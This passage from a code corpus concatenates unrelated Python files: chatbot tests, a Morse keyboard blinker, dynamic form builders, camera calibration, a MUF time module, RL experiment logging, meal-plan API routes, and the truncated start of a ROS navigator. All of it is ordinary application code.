def test_classify_camera_sentence_():
assert classify("camera")[0][0] == "take_photo"
def test_classify_light_sentence_():
assert classify("light")[0][0] == "hue"
def test_classify_type_greeting_():
assert type(classify("hi")[0][1]) == np.float32
def test_classify_type_thanks_():
assert type(classify("thanks")[0][1]) == np.float32
def test_classify_type_hue_():
assert type(classify("hue")[0][1]) == np.float32
def test_classify_type_rollers_():
assert type(classify("rollers")[0][1]) == np.float32
def test_chat_greeting_response_():
assert chat_response("Hi, HoW are you?!") == "Good to see you again" or "Hello, thanks for visiting" \
or "Hi there, how can I help?"
def test_chat_camera_response_():
assert chat_response("camera") == "exec camera_photo"
def test_chat_thanks_response_():
assert chat_response("thanks") == "Happy to help!" or "Any time!" or "My pleasure"
def test_chat_light_response_():
assert chat_response("philips hue") == "Ok, what mood do you want ?"
def test_contextual_hue_response_():
assert chat_response("philips hue") == "Ok, what mood do you want ?"
assert chat_response("relax") == "exec hue_relax"
def test_contextual_shutter_response_():
assert chat_response("shutter") == "Ok, do you want to open, close or stop ?"
assert chat_response("open") == "exec open_shutter"
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funny_morse/key.py | nkpro2000sr/funny-morse | 1 | 186359 | import time
from pynput import keyboard
import morse
WPM = morse.WPM
FS = morse.FS
def info():
print("Keyboard :")
print(" None")
def main(message, wpm=-1, fs=-1, key="caps"):
wpm = WPM if wpm == -1 else wpm
fs = FS if fs == -1 else fs
code = morse.stringToMorse(message)
flip_intervals = morse.morseToFlipIntervals(code, wpm, fs)
Keys(flip_intervals, key)
class Keys(keyboard.Controller):
def __init__(self, flip_intervals, key="caps"):
self.flip_intervals = flip_intervals
self.previous = False
if key == "num":
self.key = keyboard.Key.num_lock
elif key == "scroll":
self.key = keyboard.Key.scroll_lock
else:
self.key = keyboard.Key.caps_lock
super().__init__()
self.update()
def flip(self):
self.press(self.key)
self.release(self.key)
def update(self):
for sleep in self.flip_intervals:
time.sleep(sleep / 1000)
self.flip()
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loris/app/autoscripting/form_creater.py | gucky92/loris | 1 | 53628 | """Class to dynamically create the different forms in the config file
"""
import os
from wtforms import (
BooleanField, SelectField, StringField, FloatField, IntegerField,
FormField, TextAreaField, FieldList, DecimalField
)
from wtforms.validators import InputRequired, Optional, NumberRange, \
ValidationError, Length, UUID, URL, Email
from flask_wtf import FlaskForm as Form
from wtforms import Form as NoCsrfForm
from werkzeug.utils import secure_filename
import glob
import pandas as pd
from loris import config
from loris.app.forms import NONES
from loris.app.forms.formmixin import (
DynamicFileField, DictField, ListField,
JsonSerializableValidator, Extension, FormMixin
)
from loris.app.autoscripting.utils import (
json_reader, array_reader, recarray_reader,
frame_reader, series_reader, EnumReader, ListReader, TupleReader,
DictReader, DbReader
)
from loris.errors import LorisError
class AutoscriptedField:
def __init__(self, key, value, folderpath):
self.key = key
self.folderpath = folderpath
if isinstance(value, (str, list)):
self.value = value
self.description = None
self.default = None
self.required = True
self.iterate = None
self.loc = None
elif isinstance(value, dict):
truth = set(value) - {'type', 'comment', 'default', 'loc', 'iterate'}
if truth:
raise LorisError(
'Key in dynamic auto-generated form contains '
f'illegal keywords: {truth}.'
)
if 'type' not in value:
raise LorisError(
'Must provide type key for dynamic auto-generated form; '
f'only provided these keys for "{key}": {set(value)}.'
)
self.value = value.get('type')
self.description = value.get('comment', None)
self.default = value.get('default', None)
self.required = (
'default' not in value
or value.get('default', None) is not None)
self.loc = value.get('loc', None)
self.iterate = value.get('iterate', False)
else:
LorisError(f"value is wrong type {type(value)}")
self.get_field()
def get_field(self):
"""get initialized field
"""
self.field, self.post_process = self._get_field(
self.key, self.value, self.required, self.default,
self.description, self.iterate, self.loc, self.folderpath
)
@staticmethod
def file_processing(value):
if value == 'numpy.array':
post_process = array_reader
elif value == 'numpy.recarray':
post_process = recarray_reader
elif value == 'pandas.DataFrame':
post_process = frame_reader
elif value == 'pandas.Series':
post_process = series_reader
elif value == 'json':
post_process = json_reader
else:
return lambda x: x
return post_process
@classmethod
def _get_field(
cls, key, value, required, default, description,
iterate, loc, folderpath
):
"""get initialized field
"""
def post_process(x):
return x
if required:
kwargs = {
'validators': [InputRequired()],
'render_kw': {'nullable': False}
}
else:
kwargs = {
'validators': [Optional()],
'render_kw': {'nullable': True}
}
kwargs['default'] = default
kwargs['label'] = key.replace('_', ' ')
kwargs['description'] = (key if description is None else description)
if loc is None and not isinstance(value, dict):
if value == 'list':
kwargs['validators'].append(JsonSerializableValidator(list))
field = ListField(**kwargs)
elif value == 'dict':
kwargs['validators'].append(JsonSerializableValidator(dict))
field = DictField(**kwargs)
elif value == 'str':
field = StringField(**kwargs)
elif value == 'set':
kwargs['validators'].append(JsonSerializableValidator(list))
post_process = set
field = ListField(**kwargs)
elif value == 'tuple':
kwargs['validators'].append(JsonSerializableValidator(list))
post_process = tuple
field = ListField(**kwargs)
elif value == 'int':
field = IntegerField(**kwargs)
elif value == 'float':
field = FloatField(**kwargs)
elif value == 'bool':
kwargs['validators'] = [Optional()]
field = BooleanField(**kwargs)
elif value == 'numpy.array':
kwargs['validators'].append(Extension())
post_process = cls.file_processing(value)
field = DynamicFileField(**kwargs)
elif value == 'numpy.recarray':
kwargs['validators'].append(Extension())
post_process = cls.file_processing(value)
field = DynamicFileField(**kwargs)
elif value == 'pandas.DataFrame':
kwargs['validators'].append(Extension())
post_process = cls.file_processing(value)
field = DynamicFileField(**kwargs)
elif value == 'pandas.Series':
kwargs['validators'].append(Extension())
post_process = cls.file_processing(value)
field = DynamicFileField(**kwargs)
elif value == 'json':
kwargs['validators'].append(Extension(['json']))
post_process = cls.file_processing(value)
field = DynamicFileField(**kwargs)
elif value == 'file':
kwargs['validators'].append(
Extension(config['attach_extensions']))
field = DynamicFileField(**kwargs)
elif isinstance(value, list):
choices = [
str(ele).strip().strip('"').strip("'")
for ele in value
]
post_process = EnumReader(value, choices)
if default is None and not required:
choices = ['NULL'] + choices
kwargs['choices'] = [(ele, ele) for ele in choices]
field = SelectField(**kwargs)
else:
raise LorisError(
f"field value {value} not accepted for {key}."
)
elif loc is not None and value == 'database':
if not isinstance(loc, list) or not len(loc) == 2:
raise LorisError(
f"If type '{value}' then loc must be of type "
"list with exactly two elements: "
"1. the database table class. "
"2. the columns to fetch for selected entry (str or list)."
)
# get table from database table class name
table = config.get_table_from_classname(loc[0])
columns = loc[1]
# check columns
if isinstance(columns, str) and columns not in table.heading:
raise LorisError(
f"Column '{columns}' not in table "
f"{table.full_table_name}; cannot create field {key}."
)
elif (
not isinstance(columns, str)
and (set(columns) - set(table.heading))
):
raise LorisError(
f"Columns '{set(columns) - set(table.heading)}' not "
f"in table {table.full_table_name}; "
f"cannot create field {key}."
)
post_process = DbReader(table, columns)
# create choices
choices = table.proj().fetch()
choices = [
(str(ele), str(ele))
if len(ele) > 1
else (str(ele), str(ele[0]))
for ele in choices
]
choices = sorted(choices)
if default is None and not required:
choices = [('NULL', 'NULL')] + choices
kwargs['choices'] = choices
field = SelectField(**kwargs)
elif loc is not None and isinstance(value, str):
loc = secure_filename(loc)
locpath = os.path.join(folderpath, loc)
# try up to three base directories down
if not os.path.exists(locpath):
# try main autoscript folder
locpath = os.path.join(os.path.dirname(folderpath), loc)
if not os.path.exists(locpath):
locpath = os.path.join(
os.path.dirname(os.path.dirname(folderpath)), loc
)
if not os.path.exists(locpath):
raise LorisError(
f'Folder "{loc}" does not exist in '
f'autoscript folder '
f'"{os.path.basename(folderpath)}" '
f'and also not in the main autoscript folder.'
)
# get all files from folder
files = glob.glob(os.path.join(locpath, '*'))
# only match certain extensions
if (value == 'pandas.DataFrame') or (value == 'numpy.recarray'):
files = [
ifile for ifile in files
if (
ifile.endswith('.pkl')
or ifile.endswith('.npy')
or ifile.endswith('.csv')
or ifile.endswith('.json')
)
]
elif value == 'numpy.array':
files = [
ifile for ifile in files
if (
ifile.endswith('.pkl')
or ifile.endswith('.npy')
or ifile.endswith('.csv')
)
]
elif (value == 'json') or (value == 'pandas.Series'):
files = [ifile for ifile in files if ifile.endswith('.json')]
else:
# skip file that start with two underscores e.g. __init__.py
files = [
ifile
for ifile in files
if not os.path.basename(ifile).startswith('__')
]
# setup as choices
choices = [
(str(ele), os.path.split(ele)[-1])
for ele in files
]
# setup None choice
if default is None and not required:
choices = [('NULL', 'NULL')] + choices
kwargs['choices'] = choices
post_process = cls.file_processing(value)
field = SelectField(**kwargs)
elif isinstance(value, dict):
form, post_process = dynamic_autoscripted_form(
value, folderpath, NoCsrfForm
)
field = FormField(form)
# TODO set number of fieldlists (startswith numeric)
else:
raise LorisError(f"field value {value} not accepted for {key}.")
# make iterator (can add multiple values together)
if iterate:
field = FieldList(
field,
min_entries=int(required) + 1 # have one required field if so
)
post_process = ListReader(post_process)
return field, post_process
def dynamic_autoscripted_form(dictionary, folderpath, formclass=Form):
post_process_dict = {}
class DynamicForm(formclass, FormMixin):
pass
for key, value in dictionary.items():
# comments in the json or formatting guidelines start with _
if key.startswith('#'):
continue
if not key.isidentifier():
raise LorisError(
f"key {key} is not an identifier; i.e. alphanumeric "
"and underscore characters only. The key needs to be "
"an identifier if it is used as a keyword during function "
"calling."
)
auto_field = AutoscriptedField(
key, value, folderpath
)
post_process_dict[key] = auto_field.post_process
setattr(
DynamicForm,
key,
auto_field.field
)
return DynamicForm, DictReader(post_process_dict)
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fellowcrm/upgrade/forms.py | Fellow-Consulting-AG/fellowcrm | 0 | 168272 | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, BooleanField
from wtforms.validators import DataRequired, Length, Email, EqualTo
from wtforms_sqlalchemy.fields import QuerySelectField
from fellowcrm.settings.models import Currency, TimeZone
class NewSystemUser(FlaskForm):
first_name = StringField('First Name', validators=[DataRequired(message='Please enter your first name')])
last_name = StringField('Last Name',
validators=[DataRequired(message='Please enter your last name'), Length(min=2, max=20)])
email = StringField('Email',
validators=[DataRequired(
message='Email address is mandatory'),
Email(message='Please enter a valid email address e.g. <EMAIL>')])
password = PasswordField('Password',
validators=[DataRequired(message='Password is mandatory')])
confirm_password = PasswordField('<PASSWORD> Password',
validators=[DataRequired(
message='Confirm Password is mandatory'),
EqualTo('password', 'Passwords do not match')])
submit = SubmitField('Next: Setup Company Details')
class CurrencyTz(FlaskForm):
currency = QuerySelectField('Default Currency', query_factory=Currency.get_list_query, get_pk=lambda a: a.id,
get_label='name',
validators=[DataRequired(message='Please select default currency')])
time_zone = QuerySelectField('Your Time Zone', query_factory=TimeZone.get_list_query, get_pk=lambda a: a.id,
get_label='name',
validators=[DataRequired(message='Please select your timezone')])
submit = SubmitField('Next: Finish Installation')
class FinishInstall(FlaskForm):
import_sample_data = BooleanField('Install Sample Data')
submit = SubmitField('Complete Installation')
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] |
CameraCalibration.py | lsmanoel/StereoVision | 0 | 23281 |
import numpy as np
import cv2
import glob
from matplotlib import pyplot as plt
class CameraCalibration():
def __init__(self):
pass
# ===========================================================
# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
@staticmethod
def find_chess(frame_input, chess_size=(6, 6)):
status = None
print("chess...")
# termination criteria
criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 30, 0.001)
# prepare object points, like (0,0,0), (1,0,0), (2,0,0) ....,(6,5,0)
objp = np.zeros((chess_size[0]*chess_size[1], 3), np.float32)
objp[:, :2] = np.mgrid[0:chess_size[0], 0:chess_size[1]].T.reshape(-1, 2)
# Arrays to store object points and image points from all the images.
objpoints = [] # 3d point in real world space
imgpoints = [] # 2d points in image plane.
frame_gray = cv2.cvtColor(frame_input, cv2.COLOR_BGR2GRAY)
# Find the chess board corners
ret, corners = cv2.findChessboardCorners(frame_gray, (chess_size[0], chess_size[1]), None)
# If found, add object points, image points (after refining them)
frame_output = None
if ret == True:
status = "checkmate!"
print(status)
objpoints.append(objp)
corners2 = cv2.cornerSubPix(frame_gray,
corners,
(11, 11),
(-1, -1),
criteria)
imgpoints.append(corners2)
# Draw and display the corners
frame_output = cv2.drawChessboardCorners(frame_input, (chess_size[0], chess_size[1]), corners2, ret)
plt.imshow(frame_output)
plt.show()
if frame_output is None:
frame_output = frame_input
return frame_output, objpoints, imgpoints, status
# ===========================================================
# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
@staticmethod
def calibrateCoefficients(frame_input, objpoints, imgpoints):
ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints,
imgpoints,
frame_input.shape[::-1],
None,
None)
tot_error = 0
mean_error = 0
for i in range(len(objpoints)):
imgpoints2, _ = cv2.projectPoints(objpoints[i], rvecs[i], tvecs[i], mtx, dist)
error = cv2.norm(imgpoints[i],imgpoints2, cv2.NORM_L2)/len(imgpoints2)
tot_error += error
print("total error: ", mean_error/len(objpoints))
return ret, mtx, dist, rvecs, tvecs
# $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
@staticmethod
def testbench(video_source=2):
capture = cv2.VideoCapture(video_source)
count_frame = 0
while 1:
# ++++++++++++++++++++++++++++++++++++++++++++++++
print('calibrate state...')
status = None
while status is None:
status = None
ret, frame_input = capture.read()
print(count_frame)
count_frame += 1
frame_chess, objpoints, imgpoints, status = CameraCalibration.find_chess(frame_input)
plt.imshow(frame_chess)
plt.show()
# ++++++++++++++++++++++++++++++++++++++++++++++++
frame_gray = cv2.cvtColor(frame_input, cv2.COLOR_BGR2GRAY)
plt.imshow(frame_gray)
plt.show()
ret, mtx, dist, rvecs, tvecs = CameraCalibration.calibrateCoefficients(frame_gray, objpoints, imgpoints)
h, w = frame_gray.shape[:2]
newcameramtx, roi =cv2.getOptimalNewCameraMatrix(mtx, dist, (w, h), 1, (w, h))
# ++++++++++++++++++++++++++++++++++++++++++++++++
print('test state...')
while 1:
ret, frame_input = capture.read()
frame_gray = cv2.cvtColor(frame_input,cv2.COLOR_BGR2GRAY)
h, w = frame_gray.shape[:2]
newcameramtx, roi =cv2.getOptimalNewCameraMatrix(mtx, dist, (w, h), 1, (w, h))
frame_undist = cv2.undistort(frame_input, mtx, dist, None, newcameramtx)
x,y,w,h = roi
print(x,y,w,h)
# frame_undist = frame_undist[y:y+h, x:x+w]
frame_concat = np.concatenate((frame_undist, frame_input), axis=1)
plt.imshow(frame_concat)
plt.show()
# ----------------------------------------------------------
# Esc -> EXIT while
# while 1:
# k = cv2.waitKey(1) & 0xff
# if k ==13 or k==27:
# break
# if k == 27:
# break
# ----------------------------------------------------------
capture.release()
cv2.destroyAllWindows()
# $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
# ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
@staticmethod
def getPhoto(video_source=0):
capture = cv2.VideoCapture(video_source)
while 1:
ret, frame_input = capture.read()
frame_line = frame_input
frame_output = cv2.line(frame_line,
(0, frame_line.shape[0]//2),
(frame_line.shape[1], frame_line.shape[0]//2),
(255,0,0),
1)
frame_output = cv2.line(frame_line,
(frame_line.shape[1]//2, 0),
(frame_line.shape[1]//2, frame_line.shape[0]),
(255,0,0),
1)
cv2.imshow("Video", frame_line)
# ------------------------------------------------------------------------------------------------------------------
# Esc -> EXIT while
k = cv2.waitKey(30) & 0xff
if k == 27:
break
# ------------------------------------------------------------------------------------------------------------------
# ----------------------------------------------------------------------------------------------------------------------
ret, frame_input = capture.read()
frame_input = cv2.cvtColor(frame_input, cv2.COLOR_BGR2RGB)
plt.imshow(frame_input)
plt.xticks([])
plt.yticks([])
plt.show()
# ----------------------------------------------------------------------------------------------------------------------
capture.release()
cv2.destroyAllWindows()
# $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
# $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
# $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
# CameraCalibration.testbench(video_source=2) | [
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] |
mufsim/insts/timedate.py | revarbat/mufsim | 1 | 59594 | import time
# from mufsim.errors import MufRuntimeError
from mufsim.insts.base import Instruction, instr
@instr("date")
class InstDate(Instruction):
def execute(self, fr):
when = time.localtime()
fr.data_push(int(when.tm_mday))
fr.data_push(int(when.tm_mon))
fr.data_push(int(when.tm_year))
@instr("time")
class InstTime(Instruction):
def execute(self, fr):
when = time.localtime()
fr.data_push(int(when.tm_sec))
fr.data_push(int(when.tm_min))
fr.data_push(int(when.tm_hour))
@instr("gmtoffset")
class InstGmtOffset(Instruction):
def execute(self, fr):
fr.data_push(-time.timezone)
@instr("timesplit")
class InstTimeSplit(Instruction):
def execute(self, fr):
secs = fr.data_pop(int)
when = time.localtime(secs)
fr.data_push(int(when.tm_sec))
fr.data_push(int(when.tm_min))
fr.data_push(int(when.tm_hour))
fr.data_push(int(when.tm_mday))
fr.data_push(int(when.tm_mon))
fr.data_push(int(when.tm_year))
fr.data_push(int(when.tm_wday) + 1)
fr.data_push(int(when.tm_yday))
@instr("timefmt")
class InstTimeFmt(Instruction):
def execute(self, fr):
fr.check_underflow(2)
when = fr.data_pop(int)
fmt = fr.data_pop(str)
when = time.localtime(when)
fr.data_push(time.strftime(fmt, when))
@instr("systime")
class InstSysTime(Instruction):
def execute(self, fr):
fr.data_push(int(time.time()))
@instr("systime_precise")
class InstSysTimePrecise(Instruction):
def execute(self, fr):
fr.data_push(float(time.time()))
# vim: expandtab tabstop=4 shiftwidth=4 softtabstop=4 nowrap
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adjutant/startup/config.py | knikolla/adjutant | 21 | 1604042 | # Copyright (C) 2019 Catalyst Cloud Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from django.apps import AppConfig
from adjutant.startup import checks
from adjutant.startup import loading
class StartUpConfig(AppConfig):
name = "adjutant.startup"
def ready(self):
"""A pre-startup function for the api
Code run here will occur before the API is up and active but after
all models have been loaded.
Loads feature_sets.
Useful for any start up checks.
"""
# load all the feature sets
loading.load_feature_sets()
# First check that all expect DelegateAPIs are present
checks.check_expected_delegate_apis()
# Now check if all the actions those views expecte are present.
checks.check_configured_actions()
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simple_rl/experiments/ExperimentClass.py | melroderick/simple_rl | 0 | 66282 | '''
ExperimentClass.py: Contains the Experiment Class for reproducing RL Experiments.
Purpose:
- Stores all relevant parameters in experiment directory for easy reproducibility.
- Auto generates plot using chart_utils.
- Can document learning activity.
'''
# Python imports.
from __future__ import print_function
import os
from collections import defaultdict
# Other imports.
from simple_rl.utils import chart_utils
from simple_rl.experiments.ExperimentParametersClass import ExperimentParameters
class Experiment(object):
FULL_EXP_FILE_NAME = "full_experiment_data.json"
EXP_PARAM_FILE_NAME = "readable_experiment_data.txt"
''' Experiment Class for RL Experiments '''
# Dumps the results in a directory called "results" in the current working dir.
RESULTS_DIR = os.path.join(os.getcwd(), "results", "")
def __init__(self,
agents,
mdp,
agent_colors=[],
params=None,
is_episodic=False,
is_markov_game=False,
is_lifelong=False,
track_disc_reward=False,
clear_old_results=True,
count_r_per_n_timestep=1,
cumulative_plot=True,
exp_function="run_agents_on_mdp",
dir_for_plot="",
experiment_name_prefix="",
track_success=False,
success_reward=None):
'''
Args:
agents (list)
mdp (MDP)
agent_colors (list)
params (dict)
is_episodic (bool)
is_markov_game (bool)
is_lifelong (bool)
clear_old_results (bool)
count_r_per_n_timestep (int)
cumulative_plot (bool)
exp_function (lambda): tracks with run_experiments.py function was called.
dir_for_plot (str)
experiment_name_prefix (str)
track_success (bool)
success_reward (int)
'''
# Store all relevant bools.
self.agents = agents
self.agent_colors = range(len(self.agents)) if agent_colors == [] else agent_colors
params["track_disc_reward"] = track_disc_reward
self.parameters = ExperimentParameters(params)
self.mdp = mdp
self.track_disc_reward = track_disc_reward
self.count_r_per_n_timestep = count_r_per_n_timestep
self.steps_since_added_r = 1
self.rew_since_count = 0
self.cumulative_plot = cumulative_plot
self.name = str(self.mdp)
self.rewards = defaultdict(list)
self.times = defaultdict(list)
if dir_for_plot == "":
self.exp_directory = os.path.join(Experiment.RESULTS_DIR, self.name)
else:
self.exp_directory = os.path.join(os.getcwd(), dir_for_plot, self.name)
self.experiment_name_prefix = experiment_name_prefix
self.is_episodic = is_episodic
self.is_markov_game = is_markov_game
self.track_success = track_success
self.success_reward = success_reward
self._setup_files(clear_old_results)
# Write experiment reproduction file.
self._make_and_write_agent_and_mdp_params(agents, mdp, self.parameters.params, exp_function)
def _make_and_write_agent_and_mdp_params(self, agents, mdp, parameters, exp_function):
'''
Args:
agents
mdp
parameters
Summary:
Writes enough detail about @agents, @mdp, and @parameters to the file results/<exp_name>/params.txt
so that the function simple_rl.run_experiments.reproduce_from_exp_file can rerun the experiment.
'''
import json
out_file = open(os.path.join(self.exp_directory, Experiment.FULL_EXP_FILE_NAME), "w")
if not self._is_valid_mdp_type(mdp):
print("Warning (simple_rl): Cannot track and reproduce experiments for MDPs of type `" + str(type(mdp)) + "'.")
return
# Dict to hold all experiment info to write to json.
all_exp_info_dict = {}
# MDP.
mdp_class = str(type(mdp))
mdp_params = mdp.get_parameters()
all_exp_info_dict["MDP"] = {"name":mdp_class, "params":mdp_params}
# Get agents and their parameters.
all_exp_info_dict["AGENTS"] = defaultdict(lambda: defaultdict(str))
for i, agent in enumerate(agents):
agent_params = agent.get_parameters()
agent_class = str(type(agent))
all_exp_info_dict["AGENTS"][agent_class]["params"] = agent_params
all_exp_info_dict["AGENTS"][agent_class]["index"] = i
# Misc. Params.
all_exp_info_dict["MISC"] = parameters
# Function called.
all_exp_info_dict["FUNC"] = exp_function
# Encode and store.
from simple_rl.utils.additional_datastructures import TupleEncoder
encoder = TupleEncoder()
data_to_store = encoder.encode(all_exp_info_dict)
load_enc = json.loads(data_to_store)
json.dump(load_enc, out_file, indent=4)
out_file.close()
return
def _is_valid_mdp_type(self, mdp):
from simple_rl.mdp import OOMDP, MDPDistribution
from simple_rl.pomdp.POMDPClass import POMDP
from simple_rl.mdp.markov_game.MarkovGameMDPClass import MarkovGameMDP
from simple_rl.tasks import BanditMDP
if isinstance(mdp, OOMDP) \
or isinstance(mdp, POMDP) \
or isinstance(mdp, MarkovGameMDP) \
or isinstance(mdp, MDPDistribution) \
or isinstance(mdp, BanditMDP):
return False
return True
def _setup_files(self, clear_old_results=True):
'''
Summary:
Creates and removes relevant directories/files.
'''
if not os.path.exists(os.path.join(self.exp_directory, "")):
os.makedirs(self.exp_directory)
elif clear_old_results:
for agent in self.agents:
if os.path.exists(os.path.join(self.exp_directory, str(agent)) + ".csv"):
os.remove(os.path.join(self.exp_directory, str(agent)) + ".csv")
if os.path.exists(os.path.join(self.exp_directory, "times", str(agent)) + ".csv"):
os.remove(os.path.join(self.exp_directory, "times", str(agent)) + ".csv")
if os.path.exists(os.path.join(self.exp_directory, "success", str(agent)) + ".csv"):
os.remove(os.path.join(self.exp_directory, "success", str(agent)) + ".csv")
self.write_exp_info_to_file()
def make_plots(self, open_plot=True):
'''
Summary:
Makes plots for the current experiment.
'''
if self.is_markov_game:
agent_name_ls = [agent_name for agent_name in self.agents.keys()]
else:
agent_name_ls = [a.get_name() for a in self.agents]
if self.experiment_name_prefix != "":
plot_file_name = self.experiment_name_prefix + str(self.mdp)
else:
plot_file_name = ""
chart_utils.make_plots(self.exp_directory, agent_name_ls,
episodic=self.is_episodic,
plot_file_name=plot_file_name,
cumulative=self.cumulative_plot,
track_disc_reward=self.track_disc_reward,
open_plot=open_plot)
if self.track_success:
print(os.path.join("success", self.exp_directory))
chart_utils.make_plots(os.path.join(self.exp_directory, "success"), agent_name_ls,
episodic=True,
plot_file_name="success_rate",
cumulative=False,
track_disc_reward=False,
open_plot=open_plot,
new_title="Success Rate",
new_x_label="Episode Number",
new_y_label="Avg. Success %")
def _write_extra_datum_to_file(self, mdp_name, agent, datum, datum_name):
out_file = open(os.path.join(self.exp_directory, str(agent)) + "-" + datum_name + ".csv", "a+")
out_file.write(str(datum) + ",")
out_file.close()
def get_agent_avg_cumulative_rew(self, agent):
result_file = open(os.path.join(self.exp_directory, str(agent)) + ".csv", "r")
total = 0
num_lines = 0
for line in result_file.readlines():
total += sum([float(datum) for datum in line.strip().split(",")[:-1]])
num_lines += 1
result_file.close()
return total / num_lines
def add_experience(self, agent, state, action, reward, next_state, time_taken=0):
'''
Args:
agent (agent OR dict): if self.is_markov_game, contains a dict of agents
Summary:
Record any relevant information about this experience.
'''
# Markov Game.
if self.is_markov_game:
for a in agent:
self.rewards[a] += [reward[a]]
return
# Regular MDP.
if self.steps_since_added_r % self.count_r_per_n_timestep == 0:
if self.is_markov_game and self.count_r_per_n_timestep > 1:
raise ValueError("(simple_rl) Experiment Error: can't track markov games per step. (set rew_step_count to 1).")
else:
self.rewards[agent] += [self.rew_since_count + reward]
self.times[agent] += [time_taken]
self.rew_since_count = 0
self.steps_since_added_r = 1
else:
self.rew_since_count += reward
self.steps_since_added_r += 1
def end_of_episode(self, agent, num_times_to_write=1):
'''
Args:
agent (str)
Summary:
Writes reward data from this episode to file and resets the reward.
'''
if self.is_episodic:
for x in range(num_times_to_write):
self.write_datum_to_file(agent, sum(self.rewards[agent]))
self.write_datum_to_file(agent, sum(self.times[agent]), extra_dir="times/")
if self.track_success:
self.write_datum_to_file(agent, int(self.rewards[agent][-1] >= self.success_reward), extra_dir="success/")
else:
for x in range(num_times_to_write):
for step_reward in self.rewards[agent]:
self.write_datum_to_file(agent, step_reward)
self.rewards[agent] = []
def end_of_instance(self, agent):
'''
Summary:
Adds a new line to indicate we're onto a new instance.
'''
#
out_file = open(os.path.join(self.exp_directory, str(agent)) + ".csv", "a+")
out_file.write("\n")
out_file.close()
if self.track_success:
out_file = open(os.path.join(self.exp_directory, "success", str(agent)) + ".csv", "a+")
out_file.write("\n")
out_file.close()
if os.path.isdir(os.path.join(self.exp_directory, "times", "")):
out_file = open(os.path.join(self.exp_directory, "times", str(agent)) + ".csv", "a+")
out_file.write("\n")
out_file.close()
def write_datum_to_file(self, agent, datum, extra_dir=""):
'''
Summary:
Writes datum to file.
'''
if extra_dir != "" and not os.path.isdir(self.exp_directory + "/" + extra_dir):
os.makedirs(os.path.join(self.exp_directory, extra_dir))
out_file = open(os.path.join(self.exp_directory, extra_dir, str(agent)) + ".csv", "a+")
out_file.write(str(datum) + ",")
out_file.close()
def write_exp_info_to_file(self):
'''
Summary:
Writes relevant experiment information to a file for reproducibility.
'''
out_file = open(os.path.join(self.exp_directory, Experiment.EXP_PARAM_FILE_NAME), "w+")
to_write_to_file = self._get_exp_file_string()
out_file.write(to_write_to_file)
out_file.close()
def _get_exp_file_string(self):
'''
Returns:
(str): contains the AGENT-names, the MDP-names, and PARAMETER-information.
'''
mdp_text = "(Markov Game MDP)" if self.is_markov_game else "(MDP)"
mdp_string = mdp_text + "\n\t" + self.name + "\n"
agent_string = "(Agents)\n"
for i, agent in enumerate(self.agents):
agent_string += "\t" + str(agent) + "," + str(self.agent_colors[i]) + "\n"
param_string = "(Params)" + str(self.parameters) + "\n"
return mdp_string + agent_string + param_string
def __str__(self):
return self._get_exp_file_string()
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mealie/routes/meal_routes.py | stevenroh/mealie | 0 | 176811 | <filename>mealie/routes/meal_routes.py
from typing import List
from fastapi import APIRouter, HTTPException
from services.meal_services import MealPlan
from utils.snackbar import SnackResponse
router = APIRouter(tags=["Meal Plan"])
@router.get("/api/meal-plan/all/", response_model=List[MealPlan])
def get_all_meals():
""" Returns a list of all available Meal Plan """
return MealPlan.get_all()
@router.post("/api/meal-plan/create/")
def set_meal_plan(data: MealPlan):
""" Creates a meal plan database entry """
data.process_meals()
data.save_to_db()
# raise HTTPException(
# status_code=404,
# detail=SnackResponse.error("Unable to Create Mealplan See Log"),
# )
return SnackResponse.success("Mealplan Created")
@router.post("/api/meal-plan/{plan_id}/update/")
def update_meal_plan(plan_id: str, meal_plan: MealPlan):
""" Updates a meal plan based off ID """
meal_plan.process_meals()
meal_plan.update(plan_id)
# try:
# meal_plan.process_meals()
# meal_plan.update(plan_id)
# except:
# raise HTTPException(
# status_code=404,
# detail=SnackResponse.error("Unable to Update Mealplan"),
# )
return SnackResponse.success("Mealplan Updated")
@router.delete("/api/meal-plan/{plan_id}/delete/")
def delete_meal_plan(plan_id):
""" Removes a meal plan from the database """
MealPlan.delete(plan_id)
return SnackResponse.success("Mealplan Deleted")
@router.get(
"/api/meal-plan/today/",
tags=["Meal Plan"],
)
def get_today():
"""
Returns the recipe slug for the meal scheduled for today.
If no meal is scheduled nothing is returned
"""
return MealPlan.today()
@router.get("/api/meal-plan/this-week/", response_model=MealPlan)
def get_this_week():
""" Returns the meal plan data for this week """
return MealPlan.this_week()
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ros/src/map_collector/src/navigator.py | jkulhanek/robot-visual-navigation | 13 | 194621 | import numpy as np
from controller import Controller
from wrappers import visualize
from collections import defaultdict
from math import pi
GRID_SIZE = 0.5
ROTATION_STEPS = 4
def move_position(position, rotation):
if rotation == 0:
return (position[0] + 1, position[1])
elif rotation == 1:
return (position[0], position[1] + 1)
elif rotation == 2:
return (position[0] - 1, position[1])
elif rotation == 3:
return (position[0], position[1] - 1)
class Navigator:
def __init__(self, controller):
self.controller = controller
def _move(self, position):
return self.controller.move_to((position[0] * GRID_SIZE, position[1] * GRID_SIZE))
def _rotate(self, rotation):
return self.controller.rotate_to(rotation * 2 * pi / 4)
def _can_move(self):
return not self.controller.is_occupied()
def collect(self, observation, position, rotation):
